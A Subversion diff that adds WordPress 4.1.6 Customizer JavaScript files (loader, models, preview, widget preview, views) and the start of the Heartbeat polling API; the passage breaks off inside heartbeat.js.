+	$.extend( api.Messenger.prototype, api.Events );
+
+	// Core customize object.
+	api = $.extend( new api.Values(), api );
+	api.get = function() {
+		var result = {};
+
+		this.each( function( obj, key ) {
+			result[ key ] = obj.get();
+		});
+
+		return result;
+	};
+
+	// Expose the API publicly on window.wp.customize
+	exports.customize = api;
+})( wp, jQuery );
Index: /tags/4.1.6/src/wp-includes/js/customize-loader.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/customize-loader.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/customize-loader.js	(revision 33402)
@@ -0,0 +1,255 @@
+/* global _wpCustomizeLoaderSettings, confirm */
+window.wp = window.wp || {};
+
+(function( exports, $ ){
+	var api = wp.customize,
+		Loader;
+
+	$.extend( $.support, {
+		history: !! ( window.history && history.pushState ),
+		hashchange: ('onhashchange' in window) && (document.documentMode === undefined || document.documentMode > 7)
+	});
+
+	/**
+	 * Allows the Customizer to be overlayed on any page.
+	 *
+	 * By default, any element in the body with the load-customize class will open
+	 * an iframe overlay with the URL specified.
+	 *
+	 *     e.g. <a class="load-customize" href="<?php echo wp_customize_url(); ?>">Open Customizer</a>
+	 *
+	 * @augments wp.customize.Events
+	 */
+	Loader = $.extend( {}, api.Events, {
+		/**
+		 * Setup the Loader; triggered on document#ready.
+		 */
+		initialize: function() {
+			this.body = $( document.body );
+
+			// Ensure the loader is supported.
+			// Check for settings, postMessage support, and whether we require CORS support.
+			if ( ! Loader.settings || ! $.support.postMessage || ( ! $.support.cors && Loader.settings.isCrossDomain ) ) {
+				return;
+			}
+
+			this.window  = $( window );
+			this.element = $( '<div id="customize-container" />' ).appendTo( this.body );
+
+			// Bind events for opening and closing the overlay.
+			this.bind( 'open', this.overlay.show );
+			this.bind( 'close', this.overlay.hide );
+
+			// Any element in the body with the `load-customize` class opens
+			// the Customizer.
+			$('#wpbody').on( 'click', '.load-customize', function( event ) {
+				event.preventDefault();
+
+				// Store a reference to the link that opened the Customizer.
+				Loader.link = $(this);
+				// Load the theme.
+				Loader.open( Loader.link.attr('href') );
+			});
+
+			// Add navigation listeners.
+			if ( $.support.history ) {
+				this.window.on( 'popstate', Loader.popstate );
+			}
+
+			if ( $.support.hashchange ) {
+				this.window.on( 'hashchange', Loader.hashchange );
+				this.window.triggerHandler( 'hashchange' );
+			}
+		},
+
+		popstate: function( e ) {
+			var state = e.originalEvent.state;
+			if ( state && state.customize ) {
+				Loader.open( state.customize );
+			} else if ( Loader.active ) {
+				Loader.close();
+			}
+		},
+
+		hashchange: function() {
+			var hash = window.location.toString().split('#')[1];
+
+			if ( hash && 0 === hash.indexOf( 'wp_customize=on' ) ) {
+				Loader.open( Loader.settings.url + '?' + hash );
+			}
+
+			if ( ! hash && ! $.support.history ) {
+				Loader.close();
+			}
+		},
+
+		beforeunload: function () {
+			if ( ! Loader.saved() ) {
+				return Loader.settings.l10n.saveAlert;
+			}
+		},
+
+		/**
+		 * Open the Customizer overlay for a specific URL.
+		 *
+		 * @param  string src URL to load in the Customizer.
+		 */
+		open: function( src ) {
+
+			if ( this.active ) {
+				return;
+			}
+
+			// Load the full page on mobile devices.
+			if ( Loader.settings.browser.mobile ) {
+				return window.location = src;
+			}
+
+			// Store the document title prior to opening the Live Preview
+			this.originalDocumentTitle = document.title;
+
+			this.active = true;
+			this.body.addClass('customize-loading');
+
+			// Dirty state of Customizer in iframe
+			this.saved = new api.Value( true );
+
+			this.iframe = $( '<iframe />', { src: src }).appendTo( this.element );
+			this.iframe.one( 'load', this.loaded );
+
+			// Create a postMessage connection with the iframe.
+			this.messenger = new api.Messenger({
+				url: src,
+				channel: 'loader',
+				targetWindow: this.iframe[0].contentWindow
+			});
+
+			// Wait for the connection from the iframe before sending any postMessage events.
+			this.messenger.bind( 'ready', function() {
+				Loader.messenger.send( 'back' );
+			});
+
+			this.messenger.bind( 'close', function() {
+				if ( $.support.history ) {
+					history.back();
+				} else if ( $.support.hashchange ) {
+					window.location.hash = '';
+				} else {
+					Loader.close();
+				}
+			});
+
+			// Prompt AYS dialog when navigating away
+			$( window ).on( 'beforeunload', this.beforeunload );
+
+			this.messenger.bind( 'activated', function( location ) {
+				if ( location ) {
+					window.location = location;
+				}
+			});
+
+			this.messenger.bind( 'saved', function () {
+				Loader.saved( true );
+			} );
+			this.messenger.bind( 'change', function () {
+				Loader.saved( false );
+			} );
+
+			this.pushState( src );
+
+			this.trigger( 'open' );
+		},
+
+		pushState: function ( src ) {
+			var hash = src.split( '?' )[1];
+
+			// Ensure we don't call pushState if the user hit the forward button.
+			if ( $.support.history && window.location.href !== src ) {
+				history.pushState( { customize: src }, '', src );
+			} else if ( ! $.support.history && $.support.hashchange && hash ) {
+				window.location.hash = 'wp_customize=on&' + hash;
+			}
+
+			this.trigger( 'open' );
+		},
+
+		/**
+		 * Callback after the Customizer has been opened.
+		 */
+		opened: function() {
+			Loader.body.addClass( 'customize-active full-overlay-active' );
+		},
+
+		/**
+		 * Close the Customizer overlay and return focus to the link that opened it.
+		 */
+		close: function() {
+			if ( ! this.active ) {
+				return;
+			}
+
+			// Display AYS dialog if Customizer is dirty
+			if ( ! this.saved() && ! confirm( Loader.settings.l10n.saveAlert ) ) {
+				// Go forward since Customizer is exited by history.back()
+				history.forward();
+				return;
+			}
+
+			this.active = false;
+
+			this.trigger( 'close' );
+
+			// Restore document title prior to opening the Live Preview
+			if ( this.originalDocumentTitle ) {
+				document.title = this.originalDocumentTitle;
+			}
+
+			// Return focus to link that was originally clicked.
+			if ( this.link ) {
+				this.link.focus();
+			}
+		},
+
+		/**
+		 * Callback after the Customizer has been closed.
+		 */
+		closed: function() {
+			Loader.iframe.remove();
+			Loader.messenger.destroy();
+			Loader.iframe    = null;
+			Loader.messenger = null;
+			Loader.saved     = null;
+			Loader.body.removeClass( 'customize-active full-overlay-active' ).removeClass( 'customize-loading' );
+			$( window ).off( 'beforeunload', Loader.beforeunload );
+		},
+
+		/**
+		 * Callback for the `load` event on the Customizer iframe.
+		 */
+		loaded: function() {
+			Loader.body.removeClass('customize-loading');
+		},
+
+		/**
+		 * Overlay hide/show utility methods.
+		 */
+		overlay: {
+			show: function() {
+				this.element.fadeIn( 200, Loader.opened );
+			},
+
+			hide: function() {
+				this.element.fadeOut( 200, Loader.closed );
+			}
+		}
+	});
+
+	// Bootstrap the Loader on document#ready.
+	$( function() {
+		Loader.settings = _wpCustomizeLoaderSettings;
+		Loader.initialize();
+	});
+
+	// Expose the API publicly on window.wp.customize.Loader
+	api.Loader = Loader;
+})( wp, jQuery );
Index: /tags/4.1.6/src/wp-includes/js/customize-models.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/customize-models.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/customize-models.js	(revision 33402)
@@ -0,0 +1,247 @@
+/* globals _wpCustomizeHeader, _ */
+(function( $, wp ) {
+	var api = wp.customize;
+	api.HeaderTool = {};
+
+
+	/**
+	 * wp.customize.HeaderTool.ImageModel
+	 *
+	 * A header image. This is where saves via the Customizer API are
+	 * abstracted away, plus our own AJAX calls to add images to and remove
+	 * images from the user's recently uploaded images setting on the server.
+	 * These calls are made regardless of whether the user actually saves new
+	 * Customizer settings.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.HeaderTool.ImageModel = Backbone.Model.extend({
+		defaults: function() {
+			return {
+				header: {
+					attachment_id: 0,
+					url: '',
+					timestamp: _.now(),
+					thumbnail_url: ''
+				},
+				choice: '',
+				selected: false,
+				random: false
+			};
+		},
+
+		initialize: function() {
+			this.on('hide', this.hide, this);
+		},
+
+		hide: function() {
+			this.set('choice', '');
+			api('header_image').set('remove-header');
+			api('header_image_data').set('remove-header');
+		},
+
+		destroy: function() {
+			var data = this.get('header'),
+				curr = api.HeaderTool.currentHeader.get('header').attachment_id;
+
+			// If the image we're removing is also the current header, unset
+			// the latter
+			if (curr && data.attachment_id === curr) {
+				api.HeaderTool.currentHeader.trigger('hide');
+			}
+
+			wp.ajax.post( 'custom-header-remove', {
+				nonce: _wpCustomizeHeader.nonces.remove,
+				wp_customize: 'on',
+				theme: api.settings.theme.stylesheet,
+				attachment_id: data.attachment_id
+			});
+
+			this.trigger('destroy', this, this.collection);
+		},
+
+		save: function() {
+			if (this.get('random')) {
+				api('header_image').set(this.get('header').random);
+				api('header_image_data').set(this.get('header').random);
+			} else {
+				if (this.get('header').defaultName) {
+					api('header_image').set(this.get('header').url);
+					api('header_image_data').set(this.get('header').defaultName);
+				} else {
+					api('header_image').set(this.get('header').url);
+					api('header_image_data').set(this.get('header'));
+				}
+			}
+
+			api.HeaderTool.combinedList.trigger('control:setImage', this);
+		},
+
+		importImage: function() {
+			var data = this.get('header');
+			if (data.attachment_id === undefined) {
+				return;
+			}
+
+			wp.ajax.post( 'custom-header-add', {
+				nonce: _wpCustomizeHeader.nonces.add,
+				wp_customize: 'on',
+				theme: api.settings.theme.stylesheet,
+				attachment_id: data.attachment_id
+			} );
+		},
+
+		shouldBeCropped: function() {
+			if (this.get('themeFlexWidth') === true &&
+						this.get('themeFlexHeight') === true) {
+				return false;
+			}
+
+			if (this.get('themeFlexWidth') === true &&
+				this.get('themeHeight') === this.get('imageHeight')) {
+				return false;
+			}
+
+			if (this.get('themeFlexHeight') === true &&
+				this.get('themeWidth') === this.get('imageWidth')) {
+				return false;
+			}
+
+			if (this.get('themeWidth') === this.get('imageWidth') &&
+				this.get('themeHeight') === this.get('imageHeight')) {
+				return false;
+			}
+
+			if (this.get('imageWidth') <= this.get('themeWidth')) {
+				return false;
+			}
+
+			return true;
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.ChoiceList
+	 *
+	 * @constructor
+	 * @augments Backbone.Collection
+	 */
+	api.HeaderTool.ChoiceList = Backbone.Collection.extend({
+		model: api.HeaderTool.ImageModel,
+
+		// Ordered from most recently used to least
+		comparator: function(model) {
+			return -model.get('header').timestamp;
+		},
+
+		initialize: function() {
+			var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
+				isRandom = this.isRandomChoice(api.get().header_image);
+
+			// Overridable by an extending class
+			if (!this.type) {
+				this.type = 'uploaded';
+			}
+
+			// Overridable by an extending class
+			if (typeof this.data === 'undefined') {
+				this.data = _wpCustomizeHeader.uploads;
+			}
+
+			if (isRandom) {
+				// So that when adding data we don't hide regular images
+				current = api.get().header_image;
+			}
+
+			this.on('control:setImage', this.setImage, this);
+			this.on('control:removeImage', this.removeImage, this);
+			this.on('add', this.maybeAddRandomChoice, this);
+
+			_.each(this.data, function(elt, index) {
+				if (!elt.attachment_id) {
+					elt.defaultName = index;
+				}
+
+				if (typeof elt.timestamp === 'undefined') {
+					elt.timestamp = 0;
+				}
+
+				this.add({
+					header: elt,
+					choice: elt.url.split('/').pop(),
+					selected: current === elt.url.replace(/^https?:\/\//, '')
+				}, { silent: true });
+			}, this);
+
+			if (this.size() > 0) {
+				this.addRandomChoice(current);
+			}
+		},
+
+		maybeAddRandomChoice: function() {
+			if (this.size() === 1) {
+				this.addRandomChoice();
+			}
+		},
+
+		addRandomChoice: function(initialChoice) {
+			var isRandomSameType = RegExp(this.type).test(initialChoice),
+				randomChoice = 'random-' + this.type + '-image';
+
+			this.add({
+				header: {
+					timestamp: 0,
+					random: randomChoice,
+					width: 245,
+					height: 41
+				},
+				choice: randomChoice,
+				random: true,
+				selected: isRandomSameType
+			});
+		},
+
+		isRandomChoice: function(choice) {
+			return (/^random-(uploaded|default)-image$/).test(choice);
+		},
+
+		shouldHideTitle: function() {
+			return this.size() < 2;
+		},
+
+		setImage: function(model) {
+			this.each(function(m) {
+				m.set('selected', false);
+			});
+
+			if (model) {
+				model.set('selected', true);
+			}
+		},
+
+		removeImage: function() {
+			this.each(function(m) {
+				m.set('selected', false);
+			});
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.DefaultsList
+	 *
+	 * @constructor
+	 * @augments wp.customize.HeaderTool.ChoiceList
+	 * @augments Backbone.Collection
+	 */
+	api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
+		initialize: function() {
+			this.type = 'default';
+			this.data = _wpCustomizeHeader.defaults;
+			api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
+		}
+	});
+
+})( jQuery, window.wp );
Index: /tags/4.1.6/src/wp-includes/js/customize-preview-widgets.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/customize-preview-widgets.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/customize-preview-widgets.js	(revision 33402)
@@ -0,0 +1,129 @@
+(function( wp, $ ){
+
+	if ( ! wp || ! wp.customize ) { return; }
+
+	var api = wp.customize,
+		OldPreview;
+
+	/**
+	 * wp.customize.WidgetCustomizerPreview
+	 *
+	 */
+	api.WidgetCustomizerPreview = {
+		renderedSidebars: {}, // @todo Make rendered a property of the Backbone model
+		renderedWidgets: {}, // @todo Make rendered a property of the Backbone model
+		registeredSidebars: [], // @todo Make a Backbone collection
+		registeredWidgets: {}, // @todo Make array, Backbone collection
+		widgetSelectors: [],
+		preview: null,
+		l10n: {},
+
+		init: function () {
+			var self = this;
+			this.buildWidgetSelectors();
+			this.highlightControls();
+
+			this.preview.bind( 'highlight-widget', self.highlightWidget );
+		},
+
+		/**
+		 * Calculate the selector for the sidebar's widgets based on the registered sidebar's info
+		 */
+		buildWidgetSelectors: function () {
+			var self = this;
+
+			$.each( this.registeredSidebars, function ( i, sidebar ) {
+				var widgetTpl = [
+						sidebar.before_widget.replace('%1$s', '').replace('%2$s', ''),
+						sidebar.before_title,
+						sidebar.after_title,
+						sidebar.after_widget
+					].join(''),
+					emptyWidget,
+					widgetSelector,
+					widgetClasses;
+
+				emptyWidget = $(widgetTpl);
+				widgetSelector = emptyWidget.prop('tagName');
+				widgetClasses = emptyWidget.prop('className');
+
+				// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
+				if ( ! widgetClasses ) {
+					return;
+				}
+
+				widgetClasses = widgetClasses.replace(/^\s+|\s+$/g, '');
+
+				if ( widgetClasses ) {
+					widgetSelector += '.' + widgetClasses.split(/\s+/).join('.');
+				}
+				self.widgetSelectors.push(widgetSelector);
+			});
+		},
+
+		/**
+		 * Highlight the widget on widget updates or widget control mouse overs.
+		 *
+		 * @param  {string} widgetId ID of the widget.
+		 */
+		highlightWidget: function( widgetId ) {
+			var $body = $( document.body ),
+				$widget = $( '#' + widgetId );
+
+			$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );
+
+			$widget.addClass( 'widget-customizer-highlighted-widget' );
+			setTimeout( function () {
+				$widget.removeClass( 'widget-customizer-highlighted-widget' );
+			}, 500 );
+		},
+
+		/**
+		 * Show a title and highlight widgets on hover. On shift+clicking
+		 * focus the widget control.
+		 */
+		highlightControls: function() {
+			var self = this,
+				selector = this.widgetSelectors.join(',');
+
+			$(selector).attr( 'title', this.l10n.widgetTooltip );
+
+			$(document).on( 'mouseenter', selector, function () {
+				self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
+			});
+
+			// Open expand the widget control when shift+clicking the widget element
+			$(document).on( 'click', selector, function ( e ) {
+				if ( ! e.shiftKey ) {
+					return;
+				}
+				e.preventDefault();
+
+				self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
+			});
+		}
+	};
+
+	/**
+	 * Capture the instance of the Preview since it is private
+	 */
+	OldPreview = api.Preview;
+	api.Preview = OldPreview.extend( {
+		initialize: function( params, options ) {
+			api.WidgetCustomizerPreview.preview = this;
+			OldPreview.prototype.initialize.call( this, params, options );
+		}
+	} );
+
+	$(function () {
+		var settings = window._wpWidgetCustomizerPreviewSettings;
+		if ( ! settings ) {
+			return;
+		}
+
+		$.extend( api.WidgetCustomizerPreview, settings );
+
+		api.WidgetCustomizerPreview.init();
+	});
+
+})( window.wp, jQuery );
Index: /tags/4.1.6/src/wp-includes/js/customize-preview.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/customize-preview.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/customize-preview.js	(revision 33402)
@@ -0,0 +1,161 @@
+(function( exports, $ ){
+	var api = wp.customize,
+		debounce;
+
+	/**
+	 * Returns a debounced version of the function.
+	 *
+	 * @todo Require Underscore.js for this file and retire this.
+	 */
+	debounce = function( fn, delay, context ) {
+		var timeout;
+		return function() {
+			var args = arguments;
+
+			context = context || this;
+
+			clearTimeout( timeout );
+			timeout = setTimeout( function() {
+				timeout = null;
+				fn.apply( context, args );
+			}, delay );
+		};
+	};
+
+	/**
+	 * @constructor
+	 * @augments wp.customize.Messenger
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Preview = api.Messenger.extend({
+		/**
+		 * Requires params:
+		 *  - url    - the URL of preview frame
+		 */
+		initialize: function( params, options ) {
+			var self = this;
+
+			api.Messenger.prototype.initialize.call( this, params, options );
+
+			this.body = $( document.body );
+			this.body.on( 'click.preview', 'a', function( event ) {
+				event.preventDefault();
+				self.send( 'scroll', 0 );
+				self.send( 'url', $(this).prop('href') );
+			});
+
+			// You cannot submit forms.
+			// @todo: Allow form submissions by mixing $_POST data with the customize setting $_POST data.
+			this.body.on( 'submit.preview', 'form', function( event ) {
+				event.preventDefault();
+			});
+
+			this.window = $( window );
+			this.window.on( 'scroll.preview', debounce( function() {
+				self.send( 'scroll', self.window.scrollTop() );
+			}, 200 ));
+
+			this.bind( 'scroll', function( distance ) {
+				self.window.scrollTop( distance );
+			});
+		}
+	});
+
+	$( function() {
+		api.settings = window._wpCustomizeSettings;
+		if ( ! api.settings )
+			return;
+
+		var bg;
+
+		api.preview = new api.Preview({
+			url: window.location.href,
+			channel: api.settings.channel
+		});
+
+		api.preview.bind( 'settings', function( values ) {
+			$.each( values, function( id, value ) {
+				if ( api.has( id ) )
+					api( id ).set( value );
+				else
+					api.create( id, value );
+			});
+		});
+
+		api.preview.trigger( 'settings', api.settings.values );
+
+		api.preview.bind( 'setting', function( args ) {
+			var value;
+
+			args = args.slice();
+
+			if ( value = api( args.shift() ) )
+				value.set.apply( value, args );
+		});
+
+		api.preview.bind( 'sync', function( events ) {
+			$.each( events, function( event, args ) {
+				api.preview.trigger( event, args );
+			});
+			api.preview.send( 'synced' );
+		});
+
+		api.preview.bind( 'active', function() {
+			if ( api.settings.nonce ) {
+				api.preview.send( 'nonce', api.settings.nonce );
+			}
+
+			api.preview.send( 'documentTitle', document.title );
+		});
+
+		api.preview.send( 'ready', {
+			activePanels: api.settings.activePanels,
+			activeSections: api.settings.activeSections,
+			activeControls: api.settings.activeControls
+		} );
+
+		/* Custom Backgrounds */
+		bg = $.map(['color', 'image', 'position_x', 'repeat', 'attachment'], function( prop ) {
+			return 'background_' + prop;
+		});
+
+		api.when.apply( api, bg ).done( function( color, image, position_x, repeat, attachment ) {
+			var body = $(document.body),
+				head = $('head'),
+				style = $('#custom-background-css'),
+				update;
+
+			update = function() {
+				var css = '';
+
+				// The body will support custom backgrounds if either
+				// the color or image are set.
+				//
+				// See get_body_class() in /wp-includes/post-template.php
+				body.toggleClass( 'custom-background', !! ( color() || image() ) );
+
+				if ( color() )
+					css += 'background-color: ' + color() + ';';
+
+				if ( image() ) {
+					css += 'background-image: url("' + image() + '");';
+					css += 'background-position: top ' + position_x() + ';';
+					css += 'background-repeat: ' + repeat() + ';';
+					css += 'background-attachment: ' + attachment() + ';';
+				}
+
+				// Refresh the stylesheet by removing and recreating it.
+				style.remove();
+				style = $('<style type="text/css" id="custom-background-css">body.custom-background { ' + css + ' }</style>').appendTo( head );
+			};
+
+			$.each( arguments, function() {
+				this.bind( update );
+			});
+		});
+
+		api.trigger( 'preview-ready' );
+	});
+
+})( wp, jQuery );
Index: /tags/4.1.6/src/wp-includes/js/customize-views.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/customize-views.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/customize-views.js	(revision 33402)
@@ -0,0 +1,231 @@
+(function( $, wp, _ ) {
+
+	if ( ! wp || ! wp.customize ) { return; }
+	var api = wp.customize;
+
+
+	/**
+	 * wp.customize.HeaderTool.CurrentView
+	 *
+	 * Displays the currently selected header image, or a placeholder in lack
+	 * thereof.
+	 *
+	 * Instantiate with model wp.customize.HeaderTool.currentHeader.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.CurrentView = wp.Backbone.View.extend({
+		template: wp.template('header-current'),
+
+		initialize: function() {
+			this.listenTo(this.model, 'change', this.render);
+			this.render();
+		},
+
+		render: function() {
+			this.$el.html(this.template(this.model.toJSON()));
+			this.setPlaceholder();
+			this.setButtons();
+			return this;
+		},
+
+		getHeight: function() {
+			var image = this.$el.find('img'),
+				saved, height, headerImageData;
+
+			if (image.length) {
+				this.$el.find('.inner').hide();
+			} else {
+				this.$el.find('.inner').show();
+				return 40;
+			}
+
+			saved = this.model.get('savedHeight');
+			height = image.height() || saved;
+
+			// happens at ready
+			if (!height) {
+				headerImageData = api.get().header_image_data;
+
+				if (headerImageData && headerImageData.width && headerImageData.height) {
+					// hardcoded container width
+					height = 260 / headerImageData.width * headerImageData.height;
+				}
+				else {
+					// fallback for when no image is set
+					height = 40;
+				}
+			}
+
+			return height;
+		},
+
+		setPlaceholder: function(_height) {
+			var height = _height || this.getHeight();
+			this.model.set('savedHeight', height);
+			this.$el
+				.add(this.$el.find('.placeholder'))
+				.height(height);
+		},
+
+		setButtons: function() {
+			var elements = $('#customize-control-header_image .actions .remove');
+			if (this.model.get('choice')) {
+				elements.show();
+			} else {
+				elements.hide();
+			}
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.ChoiceView
+	 *
+	 * Represents a choosable header image, be it user-uploaded,
+	 * theme-suggested or a special Randomize choice.
+	 *
+	 * Takes a wp.customize.HeaderTool.ImageModel.
+	 *
+	 * Manually changes model wp.customize.HeaderTool.currentHeader via the
+	 * `select` method.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.ChoiceView = wp.Backbone.View.extend({
+		template: wp.template('header-choice'),
+
+		className: 'header-view',
+
+		events: {
+			'click .choice,.random': 'select',
+			'click .close': 'removeImage'
+		},
+
+		initialize: function() {
+			var properties = [
+				this.model.get('header').url,
+				this.model.get('choice')
+			];
+
+			this.listenTo(this.model, 'change:selected', this.toggleSelected);
+
+			if (_.contains(properties, api.get().header_image)) {
+				api.HeaderTool.currentHeader.set(this.extendedModel());
+			}
+		},
+
+		render: function() {
+			this.$el.html(this.template(this.extendedModel()));
+
+			this.toggleSelected();
+			return this;
+		},
+
+		toggleSelected: function() {
+			this.$el.toggleClass('selected', this.model.get('selected'));
+		},
+
+		extendedModel: function() {
+			var c = this.model.get('collection');
+			return _.extend(this.model.toJSON(), {
+				type: c.type
+			});
+		},
+
+		getHeight: api.HeaderTool.CurrentView.prototype.getHeight,
+
+		setPlaceholder: api.HeaderTool.CurrentView.prototype.setPlaceholder,
+
+		select: function() {
+			this.preventJump();
+			this.model.save();
+			api.HeaderTool.currentHeader.set(this.extendedModel());
+		},
+
+		preventJump: function() {
+			var container = $('.wp-full-overlay-sidebar-content'),
+				scroll = container.scrollTop();
+
+			_.defer(function() {
+				container.scrollTop(scroll);
+			});
+		},
+
+		removeImage: function(e) {
+			e.stopPropagation();
+			this.model.destroy();
+			this.remove();
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.ChoiceListView
+	 *
+	 * A container for ChoiceViews. These choices should be of one same type:
+	 * user-uploaded headers or theme-defined ones.
+	 *
+	 * Takes a wp.customize.HeaderTool.ChoiceList.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.ChoiceListView = wp.Backbone.View.extend({
+		initialize: function() {
+			this.listenTo(this.collection, 'add', this.addOne);
+			this.listenTo(this.collection, 'remove', this.render);
+			this.listenTo(this.collection, 'sort', this.render);
+			this.listenTo(this.collection, 'change', this.toggleList);
+			this.render();
+		},
+
+		render: function() {
+			this.$el.empty();
+			this.collection.each(this.addOne, this);
+			this.toggleList();
+		},
+
+		addOne: function(choice) {
+			var view;
+			choice.set({ collection: this.collection });
+			view = new api.HeaderTool.ChoiceView({ model: choice });
+			this.$el.append(view.render().el);
+		},
+
+		toggleList: function() {
+			var title = this.$el.parents().prev('.customize-control-title'),
+				randomButton = this.$el.find('.random').parent();
+			if (this.collection.shouldHideTitle()) {
+				title.add(randomButton).hide();
+			} else {
+				title.add(randomButton).show();
+			}
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.CombinedList
+	 *
+	 * Aggregates wp.customize.HeaderTool.ChoiceList collections (or any
+	 * Backbone object, really) and acts as a bus to feed them events.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.CombinedList = wp.Backbone.View.extend({
+		initialize: function(collections) {
+			this.collections = collections;
+			this.on('all', this.propagate, this);
+		},
+		propagate: function(event, arg) {
+			_.each(this.collections, function(collection) {
+				collection.trigger(event, arg);
+			});
+		}
+	});
+
+})( jQuery, window.wp, _ );
Index: /tags/4.1.6/src/wp-includes/js/heartbeat.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/heartbeat.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/heartbeat.js	(revision 33402)
@@ -0,0 +1,750 @@
+/**
+ * Heartbeat API
+ *
+ * Heartbeat is a simple server polling API that sends XHR requests to
+ * the server every 15 - 60 seconds and triggers events (or callbacks) upon
+ * receiving data. Currently these 'ticks' handle transports for post locking,
+ * login-expiration warnings, autosave, and related tasks while a user is logged in.
+ *
+ * Available PHP filters (in ajax-actions.php):
+ * - heartbeat_received
+ * - heartbeat_send
+ * - heartbeat_tick
+ * - heartbeat_nopriv_received
+ * - heartbeat_nopriv_send
+ * - heartbeat_nopriv_tick
+ * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat()
+ *
+ * Custom jQuery events:
+ * - heartbeat-send
+ * - heartbeat-tick
+ * - heartbeat-error
+ * - heartbeat-connection-lost
+ * - heartbeat-connection-restored
+ * - heartbeat-nonces-expired
+ *
+ * @since 3.6.0
+ */
+
+( function( $, window, undefined ) {
+	var Heartbeat = function() {
+		var $document = $(document),
+			settings = {
+				// Suspend/resume
+				suspend: false,
+
+				// Whether suspending is enabled
+				suspendEnabled: true,
+
+				// Current screen id, defaults to the JS global 'pagenow' when present (in the admin) or 'front'
+				screenId: '',
+
+				// XHR request URL, defaults to the JS global 'ajaxurl' when present
+				url: '',
+
+				// Timestamp, start of the last connection request
+				lastTick: 0,
+
+				// Container for the enqueued items
+				queue: {},
+
+				// Connect interval (in seconds)
+				mainInterval: 60,
+
+				// Used when the interval is set to 5 sec. temporarily
+				tempInterval: 0,
+
+				// Used when the interval is reset
+				originalInterval: 0,
+
+				// Used to limit the number of AJAX requests.
+				minimalInterval: 0,
+
+				// Used together with tempInterval
+				countdown: 0,
+
+				// Whether a connection is currently in progress
+				connecting: false,
+
+				// Whether a connection error occurred
+				connectionError: false,
+
+				// Used to track non-critical errors
+				errorcount: 0,
+
+				// Whether at least one connection has completed successfully
+				hasConnected: false,
+
+				// Whether the current browser window is in focus and the user is active
+				hasFocus: true,
+
+				// Timestamp, last time the user was active. Checked every 30 sec.
+				userActivity: 0,
+
+				// Flags whether events tracking user activity were set
+				userActivityEvents: false,
+
+				checkFocusTimer: 0,
+				beatTimer: 0
+			};
+
+		/**
+		 * Set local vars and events, then start
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function initialize() {
+			var options, hidden, visibilityState, visibilitychange;
+
+			if ( typeof window.pagenow === 'string' ) {
+				settings.screenId = window.pagenow;
+			}
+
+			if ( typeof window.ajaxurl === 'string' ) {
+				settings.url = window.ajaxurl;
+			}
+
+			// Pull in options passed from PHP
+			if ( typeof window.heartbeatSettings === 'object' ) {
+				options = window.heartbeatSettings;
+
+				// The XHR URL can be passed as option when window.ajaxurl is not set
+				if ( ! settings.url && options.ajaxurl ) {
+					settings.url = options.ajaxurl;
+				}
+
+				// The interval can be from 15 to 120 sec. and can be set temporarily to 5 sec.
+				// It can be set in the initial options or changed later from JS and/or from PHP.
+				if ( options.interval ) {
+					settings.mainInterval = options.interval;
+
+					if ( settings.mainInterval < 15 ) {
+						settings.mainInterval = 15;
+					} else if ( settings.mainInterval > 120 ) {
+						settings.mainInterval = 120;
+					}
+				}
+
+				// Used to limit the number of AJAX requests. Overrides all other intervals if they are shorter.
+				// Needed for some hosts that cannot handle frequent requests and the user may exceed the allocated server CPU time, etc.
+				// The minimal interval can be up to 600 sec. however setting it to longer than 120 sec. will limit or disable
+				// some of the functionality (like post locks).
+				// Once set at initialization, minimalInterval cannot be changed/overriden.
+				if ( options.minimalInterval ) {
+					options.minimalInterval = parseInt( options.minimalInterval, 10 );
+					settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval * 1000 : 0;
+				}
+
+				if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) {
+					settings.mainInterval = settings.minimalInterval;
+				}
+
+				// 'screenId' can be added from settings on the front-end where the JS global 'pagenow' is not set
+				if ( ! settings.screenId ) {
+					settings.screenId = options.screenId || 'front';
+				}
+
+				if ( options.suspension === 'disable' ) {
+					settings.suspendEnabled = false;
+				}
+			}
+
+			// Convert to milliseconds
+			settings.mainInterval = settings.mainInterval * 1000;
+			settings.originalInterval = settings.mainInterval;
+
+			// Switch the interval to 120 sec. by using the Page Visibility API.
+			// If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the interval
+			// will be increased to 120 sec. after 5 min. of mouse and keyboard inactivity.
+			if ( typeof document.hidden !== 'undefined' ) {
+				hidden = 'hidden';
